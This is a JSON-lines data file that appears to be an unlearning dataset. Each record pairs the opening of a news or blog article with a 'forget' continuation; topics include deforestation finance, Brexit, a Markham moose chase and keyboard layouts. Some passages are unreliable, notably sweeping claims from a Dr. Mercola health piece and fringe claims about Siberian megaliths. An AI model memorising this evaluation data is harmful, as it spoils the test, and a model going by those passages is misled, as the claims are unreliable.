Richard Eardley Director Longboat Quay Management. He told Six One News that while owners could be part of the solution, the receiver and the DDDA also had a part to play. Longboat Quay is 60 pc owner occupier and 40 pc tenants. Speaking to Independent.ie this morning, local Cllr Dermot Lacey (Labour), who was at the public meeting last night, said both"}
{"prompt": "Image copyright Getty Images Image caption The removal of the world's tree cover remains a concern but deforestation rates are slowing, according to the United Nations Although progress is being made, up to US $906bn of company turnover is still tied to global deforestation, an assessment has concluded. A study by the Carbon Disclosure Project (CDP) suggests almost a quarter of company revenues depend on deforestation-linked commodities. These commodities are cattle products, soy, palm oil and timber products. The findings are based on disclosure requests to 365 investors worth US $22 trillion (\u00a317 trillion). \"We found this year that a", "forget": "substantial share of corporate income depends upon commodities that are linked to deforestation risk,\" explained Katie McCoy, CDP's head of forests. \"When we carried out our analysis, we found that - on average - about a quarter of companies' revenue are dependent on commodities that have been linked to deforestation.\" She said there was a clear message for companies to take the issue of deforestation in their supply chain very seriously. \"It is having an impact on their potential to generate revenue.\" Deforestation concerns Ms McCoy added: \"Another key message that is coming though is that while companies are confident that they have a secure and sustainable supply of these commodities, our analysis suggests that companies are overlooking how deforestation impacts are going to affect their growth. \"In this era of increased scrutiny, we are asking companies in order to capitalise on opportunity and minimise risk, they really need to engage more meaningfully with their supply chain and, in some cases, move deforestation risk into the boardroom.\" She said that taking \"deforestation into the boardroom\" would help shift the paradigm into a long-term issue, making it more sustainable.\" At present, a third of companies that responded to CDP's request for information said that the issue of deforestation was not being discussed at boardroom level. \"[It] affects the way risk assessments in the company are conducted, making sure that this issue is part of the mix.\" She added that that by increasing levels of transparency and disclosure from their suppliers would be beneficial. \"This means recognising that the biggest risks and opportunities are to be found in the supply chain, and we would ask companies to disclose the relevant information, and also to collaborate with those suppliers to implement change,\" she told BBC News. \"Finally, we are asking companies to work"}
{"prompt": "The following is an interview that will appear in the book How to Prove God Does Not Exist by Trevor Treharne, to be released in September by Universal Publishers. What is the fundamental conflict between science and religion? Is it one that will never be resolved? The two have opposing views on what constitutes reality. Science finds no need to include any substance beside matter in order to describe our observations of the world. Religion holds that there is a world beyond matter. Religion claims it has a way of obtaining knowledge that is separate from the scientific method of", "forget": "observation and experiment. The religious believe that we have an inner faculty of some sort that enables us to learn about the world, the universe, and reality without such observation. It is hard to see the two ever resolving this conflict. One of your more recent books, The Fallacy of Fine-Tuning, is certainly a timely one based on how common that argument is currently proving. What is your summary on what is wrong with the fine-tuning arguments? As I have said before, the universe is not fine-tuned for us--we are fine-tuned to the universe. I claim that the statements made about fine-tuning are not accurate. When theists talk about something being fine-tuned to one part in ten or a hundred orders of magnitude, they are simply incorrect. If you look more closely at the physics and cosmology, you will see that there is plenty of room to vary their various parameters and still maintain some kind of life. Our form of life is certainly sensitive to the parameters and if the parameters of the universe were different, our form of life wouldn't exist; I agree with that. But our form of life is not the only form of life one can imagine. Two rather traditional arguments still persevere amongst theists today, firstly that \"something\" could not come from \"nothing\"... When tackling this question in the past, I was often forced into a philosophical discussion on defining what one means by nothing. Once you define it, give it some property, then it becomes \"something.\" So, I don't really know how you define \"nothing,\" when you start talking philosophically. The way I handle that question now, which is consistent with all existing knowledge of cosmology and physics, is that the universe is eternal. It didn't come from nothing, or something for that"}
{"prompt": "Oak Brook officials are hopeful that the 2018 move of McDonald's corporate offices to Chicago provides the perfect fit for e-commerce giant Amazon's search for a 50,000-job second headquarters. Oak Brook is throwing its hat in the ring to be part of an official bid to Amazon officials looking to add another headquarters outside of their Seattle site. \"I really think we have a good chance of getting this, or at least getting to talk with Amazon,\" said Valentina Tomov, president and chief executive officer of the Greater Oak Brook Chamber of Commerce. \"We are very close to a major", "forget": "urban center with great access on highways, are close to the airport and have very friendly business policies with low taxes and no municipal property taxes.\" Village President Gopal Lalmalani said this is a great opportunity for Oak Brook and for Amazon. \"Having a company like Amazon come to Oak Brook would be a huge economic boom for this entire area, and we believe we have a perfect situation for Amazon to come here, with McDonald's getting ready to move,\" Lalmalani said. Tomov said McDonald's representatives are interested in working with local officials in an effort to sell the company's Oak Brook property to Amazon. McDonald's did not reply to a request for comment. Oak Brook is working with Choose DuPage and the Illinois Department of Commerce and Economic Opportunity in bid. Any financial incentives the state agrees to for Amazon would apply to any Illinois municipality that lands the bid, Tomov said. She said Oak Brook's proposal would be submitted to Choose DuPage, which will select two or three from the county to pass on to the Illinois Department of Commerce and Economic Opportunity. From there, an unknown number of proposals will be sent to Amazon by Oct. 19 for consideration. \"I don't see much of a competition around us,\" Tomov said. \"One of our biggest challenges is to get the word out. You hear a lot about Chicago with this, but we really believe Oak Brook offers the advantage of being so close to the city, but also some benefits Chicago does not have.\" One of Oak Brook's selling points is the green space that would be in the area after Amazon moved in. \"Amazon has said it wants green space, and we have that, especially with the Sports Core which is very close to the McDonald's campus,\""}
{"prompt": "AMD RYZEN 7 Are you fed-up of overpriced CPUs that deliver underwhelming performance \u2013 year after year? Are you tired of being limited to sub-par performance due to unfairly high prices? So are we! Evetech has always believed that brilliant performance should be more accessible to everyone. Announcing the launch of the revolutionary AMD RYZEN 7 series of processors, RYZEN 7 powered PCs, and upgrade kits \u2013 the finest selection of AMD RYZEN based products available in South Africa. Outfitted with AMD\u2019s latest processors, our range of RYZEN 7 powered gaming pcs offer the best performance at reasonable prices to", "forget": "boot! An absolute dream for gamers and enthusiasts, these RYZEN 7 CPUs combined with top-notch GPUs are sure to deliver blistering frame rates on all the latest game releases. AMD RYZEN 7 series processors boasts 8 physical cores and 16 threads. This ensures that these CPUs can breeze through tasks like video encoding and 3D modelling/rendering \u2013 as fast as, or even faster, than any other processor on the market. That\u2019s not all. Depending on the cooling system you install, the \u2018X\u2019 series of RYZEN processors also boast the amazing ability to overclock themselves. Automatically. Be Smarter. Be Faster. Be more Power-efficient. At astounding prices! So, what are you waiting for? Go ahead and choose from our extensive lineup of brand-new AMD RYZEN 7 based products \u2013 bring home the performance you deserve \u2013 at a price you can afford. Top 5 Reasons To Buy AMD RYZEN 7 Processors The 2nd Generation of AMD Ryzen 7 Processors improve on an already great computing experience, making them an excellent choice for those who want a premium workstation or gaming rig at unbelievable prices! Here are 5 of the top reasons why you need a 2nd Generation Ryzen 7 processor today \u2013 Intelligent computing: These Ryzen 7 processors not only feature the raw power expected from a high-end CPU, but they also pack a host of intelligent technologies that enhances your experience even further. From a neural net to prefetch what you need before you call on it to automatic overclocking, this processor really does have it all! Intelligent power delivery: The processors are designed to extract the maximum performance out of your hardware. Intelligent power delivery ensures that your processor has more than enough power when it needs to tackle intensive tasks and saves power when you\u2019re using it for relatively"}
{"prompt": "New questions over A-G's link to embattled priest Updated New questions are being asked about the link between the New South Wales Attorney-General and a retired Catholic priest who allegedly abused a number of female children during his time in the church. Father Finian Egan's more than 50 years as a priest took him to at least half a dozen churches in and around Sydney. But the priest's service in the Catholic church came to an end when a number of women came forward to accuse him of abusing them when they were children. Within weeks of 7.30 airing a", "forget": "series of stories on Father Egan, at least five people had gone to police and a widespread investigation was underway. But nearly two years later, the priest has not been arrested or charged. One of his alleged victims, Nikki Wells, says there is no reason the case should be taking so long. \"The wait has been absolutely horrendous. It's been really traumatic. The statements with the police have been finalised in 2010,\" she said. \"We've been told the case is on the DPP's desk, but it's been on the DPP's desk for seven months. Now they keep telling us they're just waiting for a signature, so it's beyond me how it's been so long. \"The case has been investigated. It's very clear the evidence is there from all the witnesses, so I don't understand why he hasn't been charged.\" Father Egan has always denied the allegations, and as the case dragged on questions were raised elsewhere in the media about the alleged sex offender's long-time association with Attorney-General Greg Smith. Mr Smith and Father Egan go back some years, and when Mr Smith was elected to Parliament five years ago he cited Father Egan's influence in his maiden speech to Parliament. \"At St Gerard's, Father Finian Egan charmed us with his Irish wit and his pastoral devotion to his flock,\" he said in the speech. Damien Tudehope, now the Attorney-General's chief of staff, also knows Father Egan well, attending the priest's church and, as a solicitor, defending him against sexual abuse allegations. The ABC does not suggest that either Mr Smith or Mr Tudehope have interfered with the potential prosecution involving Father Egan, but critics argue there is an appearance of a potential conflict which the A-G should address. 'Completely horrified' But 7:30 can reveal discussions it is alleged the"}
{"prompt": "As the UK referendum result dropped in that fateful Friday morning, the tech startup world didn\u2019t immediately grind to a halt. Websites kept loading. Apps kept opening. But what left UK technology entrepreneurs aghast was not just that Britain had chosen to leave the European Union after 40 years, but that all those years of trying compete with the giants of Silicon Valley would now be thrown into doubt. Although Europe\u2019s 500 million citizens dwarfs the 323 million in the US, for years European startups had to deal with 28 jurisdictions and many languages. But the EU had at least", "forget": "managed to harmonize (more or less) the processes of company operation, data sharing and hiring. Hiring from a talent base of 500 million people was also an incredible asset to startups, as was raising funding from Venture capitalists. Based in Berlin? No problem. Developers in Slovenia, but the the HQ was in London? No problem. And, after several Eastern European states had joined, suddenly the whole of Europe could tap into the talent produced from Soviet-era education systems built around engineering and maths. The truth is the overwhelming majority of the UK tech startup industry was for \u2018Remain\u2019. Industry body COADEC found over 80% of companies were in favour of staying in the EU, citing the single market, free movement of labour and economic stability as their reasons. But \u201cBrexit\u201d has now thrown into enormous doubt how all of that will operate in the future. The immediate effects on startups have been incredibly personal. Bewilderment is the word you hear most. European staff suddenly have no idea how long they will be able to work in Britain. They created business ties, friendships, relationships, often marriages. Their kids are in nursery schools and high schools across the country. Furthermore, so many tech startups today are created by young people, who typically voted in droves for Remain. The decision to leave Europe will have disproportionate effects on them and their companies, which, ironically are so often labelled by politicians as providing the jobs of the future. What future now for them? The immediate reaction of some in the sector has been typically entrepreneurial. \u201cStay calm and make lemonade,\u201d wrote leading investor Saul Klein. Leading voices have been quick to come out as upbeat \u2014 anything not to \u2018frighten the horses\u2019 and potentially spook the pipeline of possible new companies to invest in."}
{"prompt": "\u201cIt is something I have got used to since 9/11. From being called Osama Bin Laden to Paki-terrorist I have heard it all,\u201d Zab Mustefa, a British Muslim journalist, who specialises in women's rights and culture, tells me. Since the terrorist attacks on New York City that brought down the twin towers, it seems life has not been the same for Muslims that live in the western world. Suddenly there was a spotlight shone on Islam when most non-Muslims had barely given it a second thought before. \u201cEither you\u2019re with us. Or you\u2019re with the terrorists,\u201d announced the then president", "forget": "of the USA George W Bush in a sombre tone at a press conference following the attacks. And many people decided that all Muslims were against 'us'. Everything was under scrutiny. Their style of dress, their beliefs, their way of life. People that had never even read the Qu\u2019ran believed they had more knowledge than Islamic scholars. \u201cLook at the way they treat their women!\u201d is a statement that I often hear. \u201cForcing them to cover up. Not allowing them to go out alone and controlling everything that they do.\u201d \u201cWhat about Saudi Arabia? They don\u2019t even let women drive!\u201d But it's a false perception. I am not denying that there are countries where the predominant religion is Islam where women are treated badly. But patriarchy is the problem, not Islam. In Islam, the rights of women were recognised much earlier than they were in the West. In any case, we in the UK don\u2019t come up smelling of roses when we examine the inequality between the sexes either. A UN human rights inspector recently declared the sexism in the UK to be more \u2018pervasive\u2019 and \u2018in your face\u2019 than any country she has ever visited and that included some Muslim countries. What I find totally abhorrent is the fact that since concern for Muslim women is so often cited, how come they are the targets of so much abuse in today\u2019s society? 'Anti-Muslim hate' A report from the University of Birmingham, 'Maybe we are hated: The experience and impact of anti-Muslim hate on British Muslim women', says Muslim women are repeated victims of anit-Muslim hate. It cites verified figures from Tell MAMA (Measuring Anti-Muslim Attacks), which show attacks on Muslim women account for 58 per cent of all incidents reported to it. Of those, 80 per cent were visually"}
{"prompt": "U.S. President Barack Obama says he will return to the White House \"more determined and inspired than ever\" after defeating Republican rival Mitt Romney and winning a second term as president. \"Tonight in this election, you, the American people, reminded us that while our road has been hard, while our journey has been long, we have picked ourselves up, we have fought our way back,\" Obama said during a victory speech in his hometown of Chicago. \"And we know in our hearts that for the United States of America, the best is yet to come.\" The 51-year-old incumbent also said", "forget": "he had spoken with Romney and congratulated him on a hard-fought campaign. To win, a candidate needed to secure 270 electoral votes. Major U.S. networks projected that Obama had achieved his long-sought goal of four more years in the White House even before some of the key battleground states were declared, such as Florida, Virginia and Nevada. Republican presidential candidate Mitt Romney concedes the presidency at the Boston Convention & Exhibition Center in Boston, Mass. (Joe Raedle/Getty) Obama had won much of the traditionally Democratic northeastern U.S. early in the night, including Pennsylvania, while Republican challenger Romney secured the conservative base across a swath of states including Texas and Georgia. But the president sealed his victory with wins in Ohio, Iowa, New Hampshire and Colorado, four of nine battleground states where the two rivals and their allies spent nearly $1 billion on duelling television commercials. PM congratulates Obama Prime Minister Stephen Harper issued a statement Tuesday night congratulating U.S. President Barack Obama on his re-election, saying that Canada and the U.S. \"enjoy one of the closest and most extensive relationships in the world.\" Late Tuesday night, Romney reportedly called Obama to concede the election, and later addressed a crowd of supporters gathered at his campaign headquarters in Boston. \"This is a time of great challenges for America, and I pray that the president will be successful in guiding our nation,\" Romney said in a brief speech. \"The nation as you know is at a critical point. At a time like this, we can't risk partisan bickering and political posturing,\" he said. \"Our leaders have to reach across the aisle to do the people's work, and we citizens also have to rise to the occasion.\" Romney also thanked his running mate, Paul Ryan, saying that \"besides my wife Ann, Paul is"}
{"prompt": "Increasing competition in the wireless market highlights the need for consolidation among operators, UBS Analyst John Hodulik said this morning. And an attempt at a deal between T-Mobile and Sprint may be the first domino to fall as M&A activity heats up. The U.S. wireless industry has seen an unexpected war over unlimited data plans and an accelerated race to 5G in recent months. Meanwhile, the FCC\u2019s ongoing incentive auction of 600 MHz spectrum has straightjacketed any significant mergers and acquisitions due to its anti-collusion rules, which prevent the discussion of deals by wireless companies and broadcasters that could influence", "forget": "bidding in the event. Analysts said we may see a flurry of activity in the coming weeks, though, after the auction ends and as Donald Trump\u2019s administration settles in. And an attempted merger between the nation\u2019s third- and fourth-largest carriers may be in the offing, Hodulik said. Mobile World Congress 2019 Attend the 2-Day Executive 5G Panel Series FierceWireless is returning to Barcelona, Spain, during Mobile World Congress 2019 with a two-day Executive 5G Panel Series at the Fira Congress Hotel, conveniently located across the street from the MWC Convention Center. The panel events will take place on Feb. 25-26 and will cover 5G and The Fixed Wireless Access Opportunity, Taking 5G Indoors, and Making 5G Ubiquitous. Attendees will have the opportunity to network and hear from 5G leaders including Verizon, Vodafone, Orange, Sprint, NTT Docomo, Boingo Wireless, Qualcomm, and more over the course of two days. Secure your spot at the event today! Now is your chance to join fellow industry professionals for networking and education. Registration information and the schedule can be found on the website here. Register today \u201cWe continue to believe a Sprint/T-Mo announcement is likely given the benefits of moving from four wireless players to three and the significant synergies it would create,\u201d Hodulik wrote in a research note. \u201cIn addition, we believe the timing is appropriate: (Sprint\u2019s parent) SoftBank has already recovered its cost basis, turned the asset around operationally and financially, and moreover a deal would allow SoftBank to deconsolidate $30B+ in debt. SoftBank\u2019s Masayoshi Son has already laid the political groundwork, promising to invest and create jobs in the U.S. We also note that the company has focused on strategic value rather than valuation in past acquisitions; we believe a premium here would make sense given asset scarcity and also valuation support"}
{"prompt": "Rozz Williams\u2019 art is impressive to say the least. In fact, it\u2019s highly sought after and incredibly rare. His collage work was much in the manner of Dal\u00ed, Man Ray and the surrealistic artists of the 1920s with his dream-like (or nightmarish?) compositions. Each mixed media piece is highly detailed and intricate, a small world that tells tragic stories about time, death and decay. Below are some examples of his artwork as artist, actor and director with the undeniable influence of surrealism. Neue Sachlichkeit Mixed media collage (The term \u201cNeue Sachlichkeit\u201d translates to \u201cNew Objectivity\u201d \u2013 an art movement in", "forget": "the early 20s as a reaction against expressionism.) \u201cUntitled\u201d Mixed media collage Untitled Mixed media collage \u201cO Corpo Humano\u201d Mixed media collage on wood Untitled, 1993 Mixed media collage (The original can be found at Hollywood Forever Cemetery in the Chapel Columbarium.) The book The Art of Rozz Williams: From Christian Death to Death, edited by Nico B. and published in 1999, is the best option to see more of Rozz\u2019s artwork. It\u2019s a collector\u2019s item as it includes sketches, lyrics and photos as well. You can pick it up on Amazon and Ebay for a good chunk of change \u2013 but it\u2019s worth it, without a doubt. The book side-by-side to Rozz\u2019s original collage. Self Portrait with Eggs (Walking Away from the Dying World), 1996 Mixed media collage (You can purchase it here.) Nico B. not only put together The Art of Rozz Williams but also co-directed the 1999 short film, PIG with Rozz, which was his final artistic endeavor before his suicide on April 1, 1999. With the soundtrack composed by Premature Ejaculation (aka Rozz), PIG is a experimental horror film full of sadist and religious metaphors that spans 23 minutes in black and white. I am further reminded of the surrealistic movie Un Chien Andalou from 1929 by Luis Bu\u00f1uel and Dal\u00ed which runs for 21 minutes and focuses on disjointed scenes that are sometimes horrific and nightmare-induced. Lethal Amounts was lucky enough to procure some original self portrait Polaroids that were taken from test shots for PIG (and can be found on the cover of Premature Ejaculation\u2019s Wound of Exit album). You can see the mask in the posthumous short film 1334, an eerie ghost story familiar to Rozz himself. You can purchase these and other Rozz Williams Polaroids here. Special thanks to Hyaena Gallery +"}
{"prompt": "EU politics: renewing the wedding vows 19/01/2015 Follow @eureferendum Jean-Claude Juncker says he is prepared to examine the UK's demands on how the EU should change \u2013 or so we are told by caveat: he will not allow certain \"red lines\", including on immigration issues, to be crossed. But what grabs the headline is the Commission President comparing EU-UK relations to a love affair. \"It's easy to fall in love and more difficult to stay together\", Juncker says, also observing that, \"people shouldn't stay together if the conditions aren't the same as when things started\". That, of course, is horse", "forget": "manure: conditions always change, so the test is whether people can adapt to them. In the case of the EU though, which \u2013 at best \u2013 was a loveless, arranged marriage, there never was a situation when we should have stayed together. Nevertheless, while Juncker still feels that, \"it's in the interest of both the UK and the EU to stay together\", he reaffirms that he won't weaken the EU's fundamental principles. \"When one mentions the end of the free circulation of workers, there can be no debate, dialogue or compromise\", he says. \"We can fight against abuses - and national lawmakers can do that - but the EU lawmakers won't change the treaties to satisfy the will of certain politicians\". So, it seems, Juncker is still playing the \"bad cop\" against Merkel's \"good cop\", although he's not saying anything very new. Interestingly, though, Mr Cameron could be acquiring another ally, in This is Viktor Orban, who says he believes the EU's laws on asylum should be tightened, just a week after he said in the wake of the Charlie Hebdo attacks in Paris that immigration into Europe should stop \u2013 with not an EU flag in sight (pictured). \"This is a Christian country\", he said on a Sunday radio talk show. \"We can help those who are indeed chased out of their countries, but we have to make it clear we don\u2019t want to be the destination for immigrants seeking to make a living here\". The number seeking asylum last year in Hungary was 43,000 last year, double the figure in 2013, Mr. Orban says, a large number in relation to Hungary's total population of a little below ten million. \"If Europe continues to bury its head in the sand, these trends won't change. It now seems like Brussels"}
{"prompt": "Touch typing Hi, my name is Roman, and I am addicted to tools. Do you type for hours every day like I do? Then let me share a year-long journey to the holy grail ergonomic typing. Touch typing can change your life (in a good way). If you're looking for a new keyboard or considering learning an alternative layout, you should definitely keep reading. Long story short I \"touch typed\" with seven fingers for decades and managed to type at average speed with pretty poor accuracy. I tried so many times to learn proper technique, but I always gave up", "forget": "in a week. A year ago I decided it was now or never. I had only one goal: to type faster, like 100 WPM. Spoiler: I'm not there yet. Back then I was using QWERTY on an Apple Wireless keyboard. This was my method: \"Okay, roll up your sleeves, and just memorize every key for all ten fingers.\" It took two days. I memorized all the keys during that weekend. Typing speed plummeted to 10 WPM on the first day; I was \"thinking\" before pressing almost every key. I could type with 100% accuracy without looking, but it was very very slow. Next phase: typing lessons every day for an hour. From time to time I typed with my seven (favorite) fingers when I needed to get work done, but in a few days I switched to the ten-finger method cold turkey. I continued practicing every day at Keybr and Keyhero and finally reached 40 WPM in two weeks. Phew... As soon as I returned to my original speed and accuracy, I decided to upgrade my keyboard to an ergonomic one. Two months later ErgoDox arrived. And of course, I wanted to try an alternative keyboard layout on it. After a quick analysis, I picked the Norman layout: it's easy to learn, and it significantly reduces distance traveled from the home row. Relearning. My speed dropped to 10 WPM, and recovered to 40 WPM in three weeks. I switched to the ErgoDox full time and played with ErgoDox layers, ending up with a single-layer solution. I reached 50 WPM in 40 days and stopped all typing lessons. Today I am a happy ErgoDox user. My average speed on Norman is 60 WPM, and it's increasing every month, slowly but steadily. Lessons learned Fast and accurate typing is a must-have skill"}
{"prompt": "This week, I continue on with my latest reading of Christopher Hitchens' God Is Not Great: How Religion Poisons Everything. If you missed it, you can check out part one here. The Wickedness of Religion The next few chapters are primarily focused on religion and morality, during which Hitchens argues that religion itself is not just amoral but immoral, and that religion does not actually make people morally better. The thrust of his argument is neatly encapsulated in his comments on the slow moral defeat of slavery and racism: The chance that someone\u2019s secular or freethinking opinion would cause him", "forget": "or her to denounce the whole injustice was extremely high. The chance that someone\u2019s religious belief would case him or her to take a stand against slavery and racism was statistically quite small. But the chance that someone\u2019s religious belief would cause him or her to uphold slavery and racism was statistically extremely high, and the latter fact helps us to understand why the victory of simple justice took so long to bring about. (p. 180) Hitchens\u2019 strategy throughout this section of the book is to draw not just a correlation between immoral behavior and religious belief and teachings, but to show a causal connection between religion and immorality. He is, in effect, providing us with a litany of religiously inspired horror stories with the aim of destroying religion\u2019s supposed monopoly on morality. Hitchens touches on a range of fairly well known topics, from the collusion of religion and totalitarian states; the abuse of children at the hands of religious teachings and religious teachers; the mental anguish inflicted on the religious by unobtainable religious goals; and so on. This argument does not, however, necessarily demonstrate that religion itself is problematic, but only those who claim to be religious. In order to be truly effective in divorcing religion and morality, Hitchens needs to show that religion itself is conceptually immoral. In chapter eleven, \u201c\u201cThe Lowly Stamp of Their Origin\u201d: Religion\u2019s Corrupt Beginnings\u201d, Hitchens discusses the way in which religions are founded on the credulity of the general populous: This is an ancient problem. Credulity may be a form of innocence, and even innocuous in itself, but it provides a standing invitation for the wicked and the clever to exploit their brothers and sister, and is thus one of humanity\u2019s great weaknesses. (p. 161) This relationship, wherein the general public is beholden"}
{"prompt": "The moose on the now eight-hour loose in Markham is believed to be taking a nap, although Ministry of Natural Resources and Forestry staff and police tracking the animal don\u2019t know for sure. But the trackers, themselves, have turned in for the night. The York Regional police and MNRF staff have been following the lost animal by way of drone since around 10:30 a.m. on Friday, with the hopes of tranquilizing it and returning it to the wild. The moose put in a guest appearance in many surprising places. But as day turned to night, officials decided to call it", "forget": "a day because they felt attempting to tranquilize the moose in the dark was not a good idea. \u201cIt\u2019s too dangerous,\u201d said Jolanta Kowalski, with the MNRF. \u201cWe haven\u2019t seen the moose for several hours. I think the last time anyone saw (it) moving was around 3 p.m.\u201d Attempts to locate the moose depend on any sightings through the night, said Kowalski. \u201cIn the event that someone sees it running around, we can go in and begin our search again.\u201d Article Continued Below Kowalski added that she hopes the creature has just fallen asleep, or even better \u201chas found its way back from where it came.\u201d The moose was last seen in the area of Kennedy Rd. and 16th Ave. Since its appearance in the morning, the animal could be seen on CP24 TV as filmed by the station\u2019s helicopter which followed it close above, as the beast barreled over suburban backyards and front lawns. The moose even ventured onto major roadways. Perhaps seeking refuge, the animal made its way to the Rouge River area, said Sgt. Kerry Schmidt of the Ontario Provincial police at around 11:30 a.m. Both the ministry and police asked the public to keep their distance. \u201cWe need people to back off. Let us know if they see it \u2014 but stop chasing it,\u201d said Sgt. Scott Hunter at the time. Kowalski said the ministry asked CP24 to stop hovering near the moose with its helicopter because the noise was likely agitating it. Article Continued Below \u201cIt needs the space to calm down and relax.\u201d No injuries were reported, but Hunter said the moose\u2019s run had caused several car accidents, broken windows and smashed fences over the course of the day. Moose can run at speeds of 50 km/h. \u201cIt needs to rest or it\u2019s going"}
{"prompt": "Alternate history buffs are about to be whipped into a frenzy! OK, maybe not, but they will find this interesting. An ancient \u201csuper-megalithic\u201d site has been found in the Siberian Mountains. Found recently in Gornaya Shoria (Mount Shoria) in southern Siberia, this site consists of huge blocks of stone, which appear to be granite, with flat surfaces, right angles, and sharp corners. The blocks appear to be stacked, almost in the manner of cyclopean masonry, and well\u2026they\u2019re enormous! Russia is no stranger to mysterious ancient sites, like Arkaim or Russia\u2019s Stonehenge, and the Manpupuner formation, just to name two, but", "forget": "the site at Shoria is unique in that, if it\u2019s man-made, the blocks used are undoubtedly the largest ever worked by human hands. Here\u2019s the story, as reported by archaeologist John Jensen via his personal blog and Academia.edu: \u201cI subscribe to a couple of Russian Blogs and Websites that post various data and information without the typical hype and filters of Western Science, Academia and the Press, let alone the fringe and \u201cAlien\u201d woo-woo crowd interests. The following are photos of some Super Megaliths from Southern Siberia near the mountains of Gornaya Shoria. The super megaliths were found and photographed for the first time by Georgy Sidorov on a recent expedition to the Southern Siberian mountains. The following images are from Valery Uvarov\u2019s Russian website. There are no measurements given, but from the scale depicted by the human figures, these megaliths are much larger (as much as 2 to 3 times larger) than the largest known megaliths in the world. (Example: The Pregnant Woman Stone of Baalbek, Lebanon weighs in at approximately 1,260 ton). Some of these megaliths could easily weigh upwards of 3,000 to 4,000 tons. There is little commentary on Valery\u2019s site, so the images are displayed here without much comments, other than my own limited observations.\u201d As Jensen pointed out, the monolith at Baalbek is considered to be one of the largest single stones used in an ancient megalithic site, but the blocks or stones at Shoria are much, much larger. You may recognize the name Valery Uvarov, but if you don\u2019t, it should be known that he is Russia\u2019s foremost UFOlogist and a long-time proponent of various alternate history theories. He was involved, as a primary player, in the Russian Screws scenario, some of the details of which are specious. His website is a veritable mountain"}
{"prompt": "By Dr. Mercola Many foods have been heavily promoted as being healthy when they are nothing more than pernicious junk foods. In the featured article, Clean Plates1 founder Jared Koch shared his list of nine staple foods that are far less \"good for you\" than you've been led to believe. Here, I expand on the selections that are mentioned in the featured article. 1. Canned Tomatoes Many leading brands of canned foods contain BPA -- a toxic chemical linked to reproductive abnormalities, neurological effects, heightened risk of breast and prostate cancers, diabetes, heart disease and other serious health problems. According", "forget": "to Consumer Reports' testing, just a couple of servings of canned food can exceed the safety limits for daily BPA exposure for children. High acidity \u2014 a prominent characteristic of tomatoes \u2013 causes BPA to leach into your food. To avoid this hazardous chemical, avoid canned foods entirely and stick to fresh fruits and vegetables, or switch over to brands that use glass containers instead\u2014especially for acidic foods like tomatoes. 2. Processed Meats As Koch warns, processed deli meats like salami, ham, and roast beef are typically made with meats from animals raised in confined animal feeding operations (CAFOs). This means they're given growth hormones, antibiotics and other veterinary drugs, and raised in deplorable conditions that promote disease, these meats are also filled with sodium nitrite (a commonly used preservative and antimicrobial agent that also adds color and flavor) and other chemical flavorings and dyes. Nitrites can be converted into nitrosamines in your body, which are potent cancer-causing chemicals. Research has linked nitrites to higher rates of colorectal, stomach and pancreatic cancer. But that's not all. Most processed deli meats also contain other cancer-promoting chemicals that are created during cooking. These include: Heterocyclic Amines (HCAs) which are hazardous compounds created in meats and other foods that have been cooked at high temperatures. According to research, processed meats are clearly associated with an increased risk of stomach, colon and breast cancers. which are hazardous compounds created in meats and other foods that have been cooked at high temperatures. According to research, processed meats are clearly associated with an increased risk of stomach, colon and breast cancers. Polycyclic Aromatic Hydrocarbons (PAHs) : Many processed meats are smoked as part of the curing process, which causes PAHs to form. PAHs can also form when grilling. When fat drips onto the heat source, causing"}
{"prompt": "With the NHL Draft, free agency, and the prospect scrimmage already finished, Islanders fans must be anxiously awaiting the start of the hockey season as the days wind down to the start of the \u201914-\u201915 NHL season. After making some solid selections in the 2014 NHL Entry Draft (Michael Dal Colle, Joshua Ho-Sang, et al.), Garth Snow continued to address his team\u2019s needs as he signed Chad Johnson, Mikhail Grabovski, and Nikolai Kulemin amongst other players. However, with almost three months of time left before the regular season kicks off, Islanders fans (mainstays & newcomers) might not have as much", "forget": "coverage of their beloved team as they are used to during each hockey season. While news might be hard to come by \u2013 unless there is a devastating injury or blockbuster trade \u2013 it\u2019s always good to know where one could get reliable news from a trusted source. So, without further ado, The Hockey Writers brings Isles fans some blogs and twitter accounts that could be extremely useful to follow \u2013 and if there are some egregious omissions, then please do leave us a comment and let us know if any account or blog was glossed over. New York Islanders The New York Islanders\u2019 website brings some of the best, and most easily accessed, team coverage on the net. Cory Wright, Eric Hornick (The Skinny), and Brian Compton (NHL.com) contribute to the articles on the site, and there are a bunch of interactive features for fans as videos of post-game interviews, interviews with prospects, and updates on the Isles\u2019 minor league affiliate \u2013 the Bridgeport Sound Tigers \u2013 are readily available. MSG Network Perhaps the only thing missing from the list below would be a Howie Rose twitter account. With a star-studded cast on the MSG Network, there is a lot of quality reporting that the network has to offer. Individuals such as Stan Fischler, Butch Goring, Jiggs McDonald, Eric Hornick, and Peter Ruttgaizer have given Isles fans some of the best coverage and analysis that they could ask for \u2013 be it before, during, or after a game \u2013 and their presence in the social media universe is just as big. #isles love what garth snow has done over the summer, but with the extra forwards look for him to acquire a defenseman.phx or van ?? \u2014 Butch Goring (@91Butch) July 3, 2014 Newsday Since 1940, Newsday has been"}
{"prompt": "What\u2019s the definition of serendipity? Being randomly selected as winner from thousands of entries to a draw for tickets to a crunch World Cup rugby match where your son, Paul O\u2019Connell, is team captain. Unsuspecting Irish Examiner marketing executive Catriona Buckley was momentarily floored by the answer she received after phoning the lucky winner of the newspaper competition yesterday and asking if she was free to travel. \u201cYes. But is it OK if I am Paul O\u2019Connell\u2019s mother?\u201d said the equally astounded Shelagh O\u2019Connell. Shelagh actually had the Irish Examiner in her hand and was looking at the hilarious front-page", "forget": "picture of Paul on a ride at Alton Towers amusement park with his teammates when she took the call. \u201cI buy the Examiner all of the time because I think the sports coverage is excellent,\u201d Shelagh said. She had already scanned the newspaper for details of the competition winner. \u201cI didn\u2019t see anything about it, so I assumed it was over and I hadn\u2019t won. When I saw the Cork number flashing up on the phone, I thought it was a call from Cope where Michael\u2019s [her husband] sister is based. I was quite surprised and shocked to hear I had won the competition.\u201d But had her famous son not already sorted tickets for his mum and dad for Cardiff\u2019s Millennium Stadium where Ireland take on France in their final pivotal pool game on October 11? \u201cHe doesn\u2019t get tickets until the day of the game,\u201d said Shelagh \u201cBut to be honest, match tickets are not the problem. It\u2019s the flights and actually getting there. For the last game, when Ireland played Canada in Cardiff, we had to fly into London, followed by a four-hour drive to Cardiff. I wasn\u2019t the best after sitting in the car for four hours. \u201cAnd I\u2019m really looking forward to flying straight to Cardiff and having somewhere to stay, which in Cardiff is a huge problem.\u201d Problem solved then, thanks to her win, which guarantees her two nights in the 4-star Morgans Hotel in Swansea, just 65km from the stadium, with match transfers laid on. 